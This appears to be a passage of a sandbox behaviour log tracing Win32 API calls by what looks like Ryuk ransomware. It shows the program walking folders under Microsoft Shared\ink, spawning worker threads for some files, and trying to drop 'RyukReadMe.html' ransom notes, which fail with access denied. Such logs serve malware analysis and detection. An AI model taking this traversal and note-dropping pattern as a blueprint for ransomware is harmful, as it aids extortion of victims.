	[0125.162] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x84, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1
	[0125.162] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x84, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1
	[0125.163] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1
	[0125.163] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x84, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1
	[0125.163] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1
	[0125.163] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x84, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1
	[0125.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0125.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314
	[0125.166] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.166] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x84, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1
	[0125.166] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x84, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1
	[0125.167] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1
	[0125.167] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1
	[0125.167] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x84, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1
	[0125.167] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x84, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1
	[0125.167] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0125.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318
	[0125.170] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.170] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1
	[0125.170] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x84, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1
	[0125.171] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x84, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1
	[0125.171] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0125.171] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x84, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1
	[0125.171] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x84, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0
	[0125.171] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0125.889] SetLastError (dwErrCode=0x0) 
	[0125.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.900] GetLastError () returned 0x5
	[0125.900] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0125.901] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.901] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0125.901] SetLastError (dwErrCode=0x0) 
	[0125.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.901] GetLastError () returned 0x5
	[0125.901] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0125.901] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0125.902] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0125.902] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0125.903] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0125.903] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0125.903] SetLastError (dwErrCode=0x0) 
	[0125.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.903] GetLastError () returned 0x5
	[0125.903] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0125.903] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.904] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0125.904] SetLastError (dwErrCode=0x0) 
	[0125.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.904] GetLastError () returned 0x5
	[0125.904] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0125.904] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0126.021] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0126.021] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0126.021] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0126.021] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0126.021] SetLastError (dwErrCode=0x0) 
	[0126.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.022] GetLastError () returned 0x5
	[0126.022] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0126.022] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.022] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0126.022] SetLastError (dwErrCode=0x0) 
	[0126.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.023] GetLastError () returned 0x5
	[0126.023] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0126.023] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0126.024] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0126.024] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0126.024] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0126.024] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0126.024] SetLastError (dwErrCode=0x0) 
	[0126.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.025] GetLastError () returned 0x5
	[0126.025] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0126.025] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.025] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0126.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0126.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0126.028] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
